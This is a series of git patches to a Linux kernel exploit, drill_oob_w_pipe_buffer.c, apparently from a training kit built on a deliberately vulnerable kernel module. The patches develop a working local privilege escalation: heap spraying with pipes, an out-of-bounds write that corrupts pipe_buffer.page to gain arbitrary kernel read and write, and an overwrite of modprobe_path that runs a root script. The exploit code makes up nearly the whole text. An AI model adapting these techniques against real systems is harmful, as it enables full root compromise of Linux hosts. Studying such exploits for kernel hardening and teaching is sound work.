clang-format on */ int increase_fd_limit(void) @@ -348,7 +354,7 @@ int main(void) printf("[+] allocated pipe_buffer objects and a drill_item_t object among them\n"); printf("[*] trying to corrupt a pipe_buffer near the drill_item_t object...\n"); - snprintf(err_act, sizeof(err_act), "3 %d 0x%lx 0x50", 0, VIRTUAL_TO_PAGE(MODPROBE_PTR)); + snprintf(err_act, sizeof(err_act), "3 %d 0x%lx 0x50", 0, MODPROBE_PATH_PAGE_ADDR); ret = write(act_fd, err_act, strlen(err_act) + 1); if (ret <= 0) { ret = EXIT_FAILURE; From 38fb2c109a45a6b481baa90c89bedcb5af3a2bfc Mon Sep 17 00:00:00 2001 From: Alexander Popov Date: Wed, 1 Apr 2026 16:37:20 +0300 Subject: [PATCH 22/31] Use a proper act() helper preparing the arguments and checking the result --- drill_oob_w_pipe_buffer.c | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) diff --git a/drill_oob_w_pipe_buffer.c b/drill_oob_w_pipe_buffer.c index 9b8b940..5b5d3b2 100644 --- a/drill_oob_w_pipe_buffer.c +++ b/drill_oob_w_pipe_buffer.c @@ -284,7 +284,7 @@ int main(void) long i = 0; int pipe_fds[PIPES_N][2]; char pipe_data[PIPE_CAPACITY]; - char err_act[64]; + char act_args[DRILL_ACT_SIZE] = { 0 }; int success = 0; printf("begin as: uid=%d, euid=%d\n", getuid(), geteuid()); @@ -354,12 +354,17 @@ int main(void) printf("[+] allocated pipe_buffer objects and a drill_item_t object among them\n"); printf("[*] trying to corrupt a pipe_buffer near the drill_item_t object...\n"); - snprintf(err_act, sizeof(err_act), "3 %d 0x%lx 0x50", 0, MODPROBE_PATH_PAGE_ADDR); - ret = write(act_fd, err_act, strlen(err_act) + 1); - if (ret <= 0) { - ret = EXIT_FAILURE; + /* + * Overwrite pipe_buffer.page: + * - the page field in pipe_buffer is at the offset 0; + * - DRILL_ACT_SAVE_VAL with 80 as 2nd argument starts at the offset 96, + * which is exactly at the offset 0 of the next object near drill_item_t. + */ + snprintf(act_args, sizeof(act_args), "0x%lx 80", MODPROBE_PATH_PAGE_ADDR); + ret = act(act_fd, DRILL_ACT_SAVE_VAL, 0, act_args); + if (ret == EXIT_FAILURE) goto end; - } + printf("[+] DRILL_ACT_SAVE_VAL\n"); printf("[*] trying to leak modprobe_path...\n"); for (i = 0; i < PIPES_N; i++) { From 9c1ee01cec397e06514496191f306683fcba3ca2 Mon Sep 17 00:00:00 2001 From: Alexander Popov Date: Wed, 1 Apr 2026 17:15:22 +0300 Subject: [PATCH 23/31] Seriously rethink the number of pipes that we need for spraying --- drill_oob_w_pipe_buffer.c | 27 +++++++++++++++++++++------ 1 file changed, 21 insertions(+), 6 deletions(-) diff --git a/drill_oob_w_pipe_buffer.c b/drill_oob_w_pipe_buffer.c index 5b5d3b2..aa47f00 100644 --- a/drill_oob_w_pipe_buffer.c +++ b/drill_oob_w_pipe_buffer.c @@ -44,12 +44,21 @@ #include "drill.h" /* clang-format off */ -#define CPU_PARTIAL 120 +/* + * Estimate the number of free slots in the kmalloc-96 slabs. + * In /proc/slabinfo on the target VM we see that: + * num_objs - active_objs = 5670 - 5505 = 165 + * Let's multiply this number by 3. + */ +#define KMALLOC96_HOLES_N 495 #define OBJS_PER_SLAB 42 -#define SLABS_TO_FILL 20 -#define SPRAY_PARTIAL CPU_PARTIAL * OBJS_PER_SLAB -#define SPRAY_ON_TOP SLABS_TO_FILL * OBJS_PER_SLAB -#define PIPES_N SPRAY_PARTIAL + SPRAY_ON_TOP +/* + * How many pipes do we need: + * 1) KMALLOC96_HOLES_N to plug the holes in the kmalloc-96 slab cache; + * 2) OBJS_PER_SLAB to allocate a new active slab, where we will place drill_item_t; + * 3) OBJS_PER_SLAB to fill that slab completely after allocating drill_item_t. + */ +#define PIPES_N (KMALLOC96_HOLES_N + OBJS_PER_SLAB * 2) #define PB_PER_SLAB_SLOT 2 #define PIPE_CAPACITY PAGE_SIZE * PB_PER_SLAB_SLOT @@ -344,7 +353,13 @@ int main(void) goto end; } - if (i == SPRAY_PARTIAL) { + /* + * Let's allocate a drill_item_t object after filling the empty slots + * in kmalloc-96 and creating a new slab containing pipe_buffers. + * After placing the drill_item_t object in this slab, we will allocate + * OBJS_PER_SLAB more pipe_buffers to fill it completely. + */ + if (i == KMALLOC96_HOLES_N + OBJS_PER_SLAB) { ret = act(act_fd, DRILL_ACT_ALLOC, 0, NULL); if (ret == EXIT_FAILURE) goto end; From 7e1b00ff4840901a7200adf2d337bdcc93a13772 Mon Sep 17 00:00:00 2001 From: Alexander Popov Date: Thu, 2 Apr 2026 19:29:58 +0300 Subject: [PATCH 24/31] Significantly improve working with the corrupted pipe_buffer 1) Read and write only one page 2) Rework searching modprobe_path in the pipe data (avoid a slow loop) --- drill_oob_w_pipe_buffer.c | 118 ++++++++++++++++++++------------------ 1 file changed, 63 insertions(+), 55 deletions(-) diff --git a/drill_oob_w_pipe_buffer.c b/drill_oob_w_pipe_buffer.c index aa47f00..c1bb997 100644 --- a/drill_oob_w_pipe_buffer.c +++ b/drill_oob_w_pipe_buffer.c @@ -60,9 +60,6 @@ */ #define PIPES_N (KMALLOC96_HOLES_N + OBJS_PER_SLAB * 2) -#define PB_PER_SLAB_SLOT 2 -#define PIPE_CAPACITY PAGE_SIZE * PB_PER_SLAB_SLOT - /* The following formula is valid only when KASLR is disabled */ #define MODPROBE_PATH_VADDR 0xffffffff82d486a0UL #define KERNEL_TEXT_VADDR 0xffffffff81000000UL @@ -244,26 +241,22 @@ int prepare_privesc_script(char *path, size_t path_size, char *modprobe_path) return EXIT_SUCCESS; } -int search_and_overwrite_modprobe(int pipe_fds[PIPES_N][2], char *pipe_data, - const char *modprobe_path, const char *privesc_script_path, - int victim_pipe) +int find_and_change_modprobe_path(char *pipe_data, char *modprobe_path, + char *privesc_script_path) { - size_t modprobe_len = strlen(modprobe_path); - size_t script_len = strlen(privesc_script_path); - - for (int j = 0; j <= (PIPE_CAPACITY - modprobe_len); j += 8) { - if (memcmp(pipe_data + j, modprobe_path, modprobe_len) == 0) { - printf("[+] located \"%s\" at offset 0x%lx of pipe #%d\n", modprobe_path, - (unsigned long)j, victim_pipe); - memcpy(pipe_data + j, privesc_script_path, script_len); - if (write(pipe_fds[victim_pipe][1], pipe_data, PIPE_CAPACITY) < 0) { - perror("[-] write"); - exit(EXIT_FAILURE); - } - return EXIT_SUCCESS; - } - } - return EXIT_FAILURE; + size_t modprobe_path_len = strlen(modprobe_path); + unsigned long modprobe_path_start = MODPROBE_PATH_VADDR & (PAGE_SIZE - 1); + size_t privesc_script_path_len = strlen(privesc_script_path); + int ret = -1; + + assert(modprobe_path_start + modprobe_path_len < PAGE_SIZE); + ret = strncmp(pipe_data + modprobe_path_start, modprobe_path, modprobe_path_len); + if (ret != 0) + return EXIT_FAILURE; + + assert(modprobe_path_start + privesc_script_path_len < PAGE_SIZE); + strncpy(pipe_data + modprobe_path_start, privesc_script_path, privesc_script_path_len); + return EXIT_SUCCESS; } /* See https://theori.io/blog/reviving-the-modprobe-path-technique-overcoming-search-binary-handler-patch */ @@ -292,11 +285,12 @@ int main(void) int act_fd = -1; long i = 0; int pipe_fds[PIPES_N][2]; - char pipe_data[PIPE_CAPACITY]; + char *pipe_data = NULL; + ssize_t bytes = -1; char act_args[DRILL_ACT_SIZE] = { 0 }; - int success = 0; printf("begin as: uid=%d, euid=%d\n", getuid(), geteuid()); + ret = increase_fd_limit(); if (ret == EXIT_FAILURE) goto end; @@ -325,7 +319,12 @@ int main(void) pipe_fds[i][1] = -1; } - memset(pipe_data, 0, sizeof(pipe_data)); + pipe_data = malloc(PAGE_SIZE); + if (pipe_data == NULL) { + perror("[-] malloc"); + goto end; + } + memset(pipe_data, 0, PAGE_SIZE); for (i = 0; i < PIPES_N; i++) { ret = pipe(pipe_fds[i]); @@ -342,14 +341,16 @@ int main(void) * We should resize the pipe capacity right now to avoid hitting * the limit in /proc/sys/fs/pipe-user-pages-soft. */ - ret = fcntl(pipe_fds[i][1], F_SETPIPE_SZ, PIPE_CAPACITY); - if (ret != PIPE_CAPACITY) { + ret = fcntl(pipe_fds[i][1], F_SETPIPE_SZ, PAGE_SIZE * 2); + if (ret != PAGE_SIZE * 2) { perror("[-] fcntl"); goto end; } - if (write(pipe_fds[i][1], pipe_data, sizeof(pipe_data)) < 0) { - perror("[-] write"); + /* Fill one page in this pipe */ + bytes = write(pipe_fds[i][1], pipe_data, PAGE_SIZE); + if (bytes != PAGE_SIZE) { + printf("[-] write to pipe returned %zd\n", bytes); goto end; } @@ -381,40 +382,44 @@ int main(void) goto end; printf("[+] DRILL_ACT_SAVE_VAL\n"); - printf("[*] trying to leak modprobe_path...\n"); + printf("[*] searching the corrupted pipe containing modprobe_path...\n"); for (i = 0; i < PIPES_N; i++) { - ret = read(pipe_fds[i][0], pipe_data, sizeof(pipe_data)); - if (ret < 0) { - perror("[-] read"); + /* + * Read the whole page to make the kernel discard the first pipe_buffer + * and save its page pointer into the pipe_inode_info.tmp_page array. + */ + bytes = read(pipe_fds[i][0], pipe_data, PAGE_SIZE); + if (bytes != PAGE_SIZE) { + printf("[-] read from pipe returned %zd\n", bytes); goto end; } - ret = search_and_overwrite_modprobe(pipe_fds, pipe_data, modprobe_path, - privesc_script_path, i); - if (ret == EXIT_SUCCESS) { - success = 1; - break; - } else { - /* - * If we scan current pipe and it is not corrupted, - * we will write back exactly the same data we read. - * It helps to read pipes many times properly. - */ - if (write(pipe_fds[i][1], pipe_data, sizeof(pipe_data)) < 0) { - perror("[-] write"); - goto end; - } + + ret = find_and_change_modprobe_path(pipe_data, modprobe_path, privesc_script_path); + if (ret == EXIT_FAILURE) + continue; + + printf("[+] modprobe_path %s is found in the pipe %ld\n", modprobe_path, i); + + /* Write the page with modified modprobe_path back to the pipe */ + bytes = write(pipe_fds[i][1], pipe_data, PAGE_SIZE); + if (bytes != PAGE_SIZE) { + printf("[-] write to pipe returned %zd\n", bytes); + goto end; } - } - if (!success) { - printf("[-] unable to leak modprobe_path\n"); - goto end; + printf("[+] wrote the page containing new modprobe_path %s back to the pipe %ld\n", + privesc_script_path, i); + break; } ret = get_modprobe_path(modprobe_path, sizeof(modprobe_path)); - if (ret == EXIT_FAILURE || strcmp(modprobe_path, privesc_script_path) != 0) { - printf("[-] modprobe_path (%s) differs from privesc script (%s)\n", modprobe_path, - privesc_script_path); + if (ret == EXIT_FAILURE) + goto end; + + ret = strncmp(modprobe_path, privesc_script_path, KMOD_PATH_LEN); + if (ret != 0) { + printf("[-] new modprobe_path %s is not privesc_script_path %s\n", + modprobe_path, privesc_script_path); goto end; } @@ -429,6 +434,9 @@ int main(void) perror("[-] close act_fd"); } + if (pipe_data) + free(pipe_data); + for (i = 0; i < PIPES_N; i++) { if (pipe_fds[i][0] >= 0) { if (close(pipe_fds[i][0]) < 0) From 86a0a0f7a2149d79c1d52e14bec9d5734f970d8b Mon Sep 17 00:00:00 2001 From: Alexander Popov Date: Thu, 2 Apr 2026 19:30:58 +0300 Subject: [PATCH 25/31] Improve the output --- drill_oob_w_pipe_buffer.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/drill_oob_w_pipe_buffer.c b/drill_oob_w_pipe_buffer.c index c1bb997..7f4aa99 100644 --- a/drill_oob_w_pipe_buffer.c +++ b/drill_oob_w_pipe_buffer.c @@ -92,8 +92,7 @@ int increase_fd_limit(void) return EXIT_FAILURE; } - printf("[+] set maximum file descriptors limit: %ld\n", rlim.rlim_cur); - + printf("[+] increased max file descriptor number to %ld\n", rlim.rlim_cur); return EXIT_SUCCESS; } @@ -369,13 +368,14 @@ int main(void) } printf("[+] allocated pipe_buffer objects and a drill_item_t object among them\n"); - printf("[*] trying to corrupt a pipe_buffer near the drill_item_t object...\n"); /* * Overwrite pipe_buffer.page: * - the page field in pipe_buffer is at the offset 0; * - DRILL_ACT_SAVE_VAL with 80 as 2nd argument starts at the offset 96, * which is exactly at the offset 0 of the next object near drill_item_t. */ + printf("[*] try to overwrite pipe_buffer.page after drill_item_t with 0x%lx\n", + MODPROBE_PATH_PAGE_ADDR); snprintf(act_args, sizeof(act_args), "0x%lx 80", MODPROBE_PATH_PAGE_ADDR); ret = act(act_fd, DRILL_ACT_SAVE_VAL, 0, act_args); if (ret == EXIT_FAILURE) @@ -423,7 +423,7 @@ int main(void) goto end; } - printf("[+] overwrote modprobe_path successfully: \"%s\"\n", modprobe_path); + printf("[+] overwritten modprobe_path: %s\n", modprobe_path); trigger_modprobe_sock(); result = EXIT_SUCCESS; From 28c5996dbdb61807c6e00ee7540be1c1f5e49c21 Mon Sep 17 00:00:00 2001 From: Alexander Popov Date: Fri, 3 Apr 2026 11:24:37 +0300 Subject: [PATCH 26/31] Check that the modprobe_path is restored by the privesc script --- drill_oob_w_pipe_buffer.c | 23 +++++++++++++++++++---- 1 file changed, 19 insertions(+), 4 deletions(-) diff --git a/drill_oob_w_pipe_buffer.c b/drill_oob_w_pipe_buffer.c index 7f4aa99..08577b8 100644 --- a/drill_oob_w_pipe_buffer.c +++ b/drill_oob_w_pipe_buffer.c @@ -280,6 +280,7 @@ int main(void) int result = EXIT_FAILURE; int ret = EXIT_FAILURE; char modprobe_path[KMOD_PATH_LEN] = { 0 }; + char new_modprobe_path[KMOD_PATH_LEN] = { 0 }; char privesc_script_path[KMOD_PATH_LEN] = { 0 }; int act_fd = -1; long i = 0; @@ -412,21 +413,35 @@ int main(void) break; } - ret = get_modprobe_path(modprobe_path, sizeof(modprobe_path)); + /* Check that the modprobe_path is actually overwritten */ + ret = get_modprobe_path(new_modprobe_path, sizeof(new_modprobe_path)); if (ret == EXIT_FAILURE) goto end; - ret = strncmp(modprobe_path, privesc_script_path, KMOD_PATH_LEN); + ret = strncmp(new_modprobe_path, privesc_script_path, KMOD_PATH_LEN); if (ret != 0) { printf("[-] new modprobe_path %s is not privesc_script_path %s\n", - modprobe_path, privesc_script_path); + new_modprobe_path, privesc_script_path); goto end; } + printf("[+] overwritten modprobe_path: %s\n", new_modprobe_path); - printf("[+] overwritten modprobe_path: %s\n", modprobe_path); trigger_modprobe_sock(); result = EXIT_SUCCESS; + /* Check that the modprobe_path is restored by the privesc script */ + ret = get_modprobe_path(new_modprobe_path, sizeof(new_modprobe_path)); + if (ret == EXIT_FAILURE) + goto end; + + ret = strncmp(new_modprobe_path, modprobe_path, KMOD_PATH_LEN); + if (ret != 0) { + printf("[-] the privesc script failed to restore modprobe_path: %s\n", + new_modprobe_path); + goto end; + } + printf("[+] restored modprobe_path: %s\n", new_modprobe_path); + end: if (act_fd >= 0) { ret = close(act_fd); From 7832b528028b2bd665fb49582ba4b54ee439a728 Mon Sep 17 00:00:00 2001 From: Alexander Popov Date: Fri, 3 Apr 2026 11:35:29 +0300 Subject: [PATCH 27/31] Don't close the corrupted pipe to avoid freeing the page pointing to the kernel code Call daemon() at the end of the PoC to run in the background. With this, we can execute this PoC multiple times. Moreover, this trick allows to avoid unneeded kernel code corruption caused by reallocating the freed page. --- drill_oob_w_pipe_buffer.c | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/drill_oob_w_pipe_buffer.c b/drill_oob_w_pipe_buffer.c index 08577b8..04ef55a 100644 --- a/drill_oob_w_pipe_buffer.c +++ b/drill_oob_w_pipe_buffer.c @@ -284,6 +284,7 @@ int main(void) char privesc_script_path[KMOD_PATH_LEN] = { 0 }; int act_fd = -1; long i = 0; + long corrupted_pipe_n = 0; int pipe_fds[PIPES_N][2]; char *pipe_data = NULL; ssize_t bytes = -1; @@ -400,16 +401,17 @@ int main(void) continue; printf("[+] modprobe_path %s is found in the pipe %ld\n", modprobe_path, i); + corrupted_pipe_n = i; /* Write the page with modified modprobe_path back to the pipe */ - bytes = write(pipe_fds[i][1], pipe_data, PAGE_SIZE); + bytes = write(pipe_fds[corrupted_pipe_n][1], pipe_data, PAGE_SIZE); if (bytes != PAGE_SIZE) { printf("[-] write to pipe returned %zd\n", bytes); goto end; } printf("[+] wrote the page containing new modprobe_path %s back to the pipe %ld\n", - privesc_script_path, i); + privesc_script_path, corrupted_pipe_n); break; } @@ -453,6 +455,9 @@ int main(void) free(pipe_data); for (i = 0; i < PIPES_N; i++) { + if (i == corrupted_pipe_n) + continue; + if (pipe_fds[i][0] >= 0) { if (close(pipe_fds[i][0]) < 0) perror("[-] close pipe"); @@ -468,5 +473,11 @@ int main(void) else printf("\n[+] success, the end\n"); + ret = daemon(1, 1); + if (ret != 0) + perror("[-] daemon"); + while (1) + sleep(42); + return result; } From 69b4ff10505ac8d3819cf5e5c8bd66bb0952c388 Mon Sep 17 00:00:00 2001 From: Alexander Popov Date: Fri, 3 Apr 2026 12:07:21 +0300 Subject: [PATCH 28/31] Finish the increase_fd_limit() implementation --- drill_oob_w_pipe_buffer.c | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/drill_oob_w_pipe_buffer.c b/drill_oob_w_pipe_buffer.c index 04ef55a..1f25976 100644 --- a/drill_oob_w_pipe_buffer.c +++ b/drill_oob_w_pipe_buffer.c @@ -92,6 +92,11 @@ int increase_fd_limit(void) return EXIT_FAILURE; } + if (rlim.rlim_cur != rlim.rlim_max) { + printf("[-] failed to increase max file descriptor number\n"); + return EXIT_FAILURE; + } + printf("[+] increased max file descriptor number to %ld\n", rlim.rlim_cur); return EXIT_SUCCESS; } From e7f582828ec3b8ae9815a8130778ef87117b3181 Mon Sep 17 00:00:00 2001 From: Alexander Popov Date: Fri, 3 Apr 2026 18:21:05 +0300 Subject: [PATCH 29/31] Improve the output in drill_oob_w_pipe_buffer.c --- drill_oob_w_pipe_buffer.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/drill_oob_w_pipe_buffer.c b/drill_oob_w_pipe_buffer.c index 1f25976..7b66470 100644 --- a/drill_oob_w_pipe_buffer.c +++ b/drill_oob_w_pipe_buffer.c @@ -381,15 +381,15 @@ int main(void) * - DRILL_ACT_SAVE_VAL with 80 as 2nd argument starts at the offset 96, * which is exactly at the offset 0 of the next object near drill_item_t. */ - printf("[*] try to overwrite pipe_buffer.page after drill_item_t with 0x%lx\n", + printf("[!] trying to overwrite pipe_buffer.page after drill_item_t with 0x%lx...\n", MODPROBE_PATH_PAGE_ADDR); snprintf(act_args, sizeof(act_args), "0x%lx 80", MODPROBE_PATH_PAGE_ADDR); ret = act(act_fd, DRILL_ACT_SAVE_VAL, 0, act_args); if (ret == EXIT_FAILURE) goto end; - printf("[+] DRILL_ACT_SAVE_VAL\n"); + printf("[+] DRILL_ACT_SAVE_VAL 0x%lx to item 0 at offset 80\n", MODPROBE_PATH_PAGE_ADDR); - printf("[*] searching the corrupted pipe containing modprobe_path...\n"); + printf("[!] searching the corrupted pipe containing modprobe_path...\n"); for (i = 0; i < PIPES_N; i++) { /* * Read the whole page to make the kernel discard the first pipe_buffer @@ -474,9 +474,9 @@ int main(void) } if (result == EXIT_FAILURE) - printf("\n[-] exploit failed\n"); + printf("[-] exploit failed\n"); else - printf("\n[+] success, the end\n"); + printf("[+] success, the end\n"); ret = daemon(1, 1); if (ret != 0) From 075cfdd7ab1a435edf152afea6491ade29fdc60f Mon Sep 17 00:00:00 2001 From: Alexander Popov Date: Mon, 6 Apr 2026 10:36:21 +0300 Subject: [PATCH 30/31] Improve README --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 855e19f..e560b43 100644 --- a/README.md +++ b/README.md @@ -17,7 +17,7 @@ __Contents:__ | __drill_uaf_w_pipe_buffer.c__ | a basic a UAF exploit that writes into a freed `drill_item_t`; it performs a cross-cache attack and overwrites `pipe_buffer.flags` to implement the Dirty Pipe technique and gain LPE | | __drill_uaf_w_pte.c__ | a basic UAF exploit that writes to a freed `drill_item_t`; it performs a cross-allocator attack and overwrites a page table entry (PTE) to implement the Dirty Pagetable technique and gain LPE on `x86_64` | | __drill_uaf_w_pud.c__ | an improved version of `drill_uaf_w_pte.c` that overwrites an entry in Page Directory Pointer Table (PDPT), which is called Page Upper Directory (PUD) in the Linux kernel; that allows to implement the Dirty Pagetable attack via huge pages | -| __drill_oob_w_pipe_buffer.c__ | a basic OOBW exploit that corrupts the `pipe_buffer.page` pointer to perform AARW of kernel memory via a pipe and gains LPE. | +| __drill_oob_w_pipe_buffer.c__ | a basic out-of-bounds write (OOBW) exploit that corrupts the `pipe_buffer.page` pointer to perform arbitrary address read/write (AARW) of kernel memory via a pipe and gain LPE. | N.B. Only basic exploit techniques here. From d1f973daa0a481f4cbb577742fa396bf84746f07 Mon Sep 17 00:00:00 2001 From: Alexander Popov Date: Wed, 8 Apr 2026 21:12:28 +0300 Subject: [PATCH 31/31] Add clang-format fixes --- drill_oob_w_pipe_buffer.c | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/drill_oob_w_pipe_buffer.c b/drill_oob_w_pipe_buffer.c index 7b66470..3cc149b 100644 --- a/drill_oob_w_pipe_buffer.c +++ b/drill_oob_w_pipe_buffer.c @@ -245,8 +245,7 @@ int prepare_privesc_script(char *path, size_t path_size, char *modprobe_path) return EXIT_SUCCESS; } -int find_and_change_modprobe_path(char *pipe_data, char *modprobe_path, - char *privesc_script_path) +int find_and_change_modprobe_path(char *pipe_data, char *modprobe_path, char *privesc_script_path) { size_t modprobe_path_len = strlen(modprobe_path); unsigned long modprobe_path_start = MODPROBE_PATH_VADDR & (PAGE_SIZE - 1); @@ -382,7 +381,7 @@ int main(void) * which is exactly at the offset 0 of the next object near drill_item_t. */ printf("[!] trying to overwrite pipe_buffer.page after drill_item_t with 0x%lx...\n", - MODPROBE_PATH_PAGE_ADDR); + MODPROBE_PATH_PAGE_ADDR); snprintf(act_args, sizeof(act_args), "0x%lx 80", MODPROBE_PATH_PAGE_ADDR); ret = act(act_fd, DRILL_ACT_SAVE_VAL, 0, act_args); if (ret == EXIT_FAILURE) @@ -416,7 +415,7 @@ int main(void) } printf("[+] wrote the page containing new modprobe_path %s back to the pipe %ld\n", - privesc_script_path, corrupted_pipe_n); + privesc_script_path, corrupted_pipe_n); break; } @@ -428,7 +427,7 @@ int main(void) ret = strncmp(new_modprobe_path, privesc_script_path, KMOD_PATH_LEN); if (ret != 0) { printf("[-] new modprobe_path %s is not privesc_script_path %s\n", - new_modprobe_path, privesc_script_path); + new_modprobe_path, privesc_script_path); goto end; } printf("[+] overwritten modprobe_path: %s\n", new_modprobe_path); @@ -444,7 +443,7 @@ int main(void) ret = strncmp(new_modprobe_path, modprobe_path, KMOD_PATH_LEN); if (ret != 0) { printf("[-] the privesc script failed to restore modprobe_path: %s\n", - new_modprobe_path); + new_modprobe_path); goto end; } printf("[+] restored modprobe_path: %s\n", new_modprobe_path);